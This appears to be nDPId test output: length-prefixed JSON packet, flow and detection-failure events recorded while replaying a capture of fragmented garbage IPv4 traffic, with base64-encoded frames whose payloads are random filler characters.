+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956209,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956243,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956302,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956399,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956411,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956465,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAmMvLnRnZnRn"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1534244029256,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16199,"dst_port":21055,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256594,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAj9HUj9HUj9zUj83NDgzOTbYPAAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256675,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256687,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256771,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":256798,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 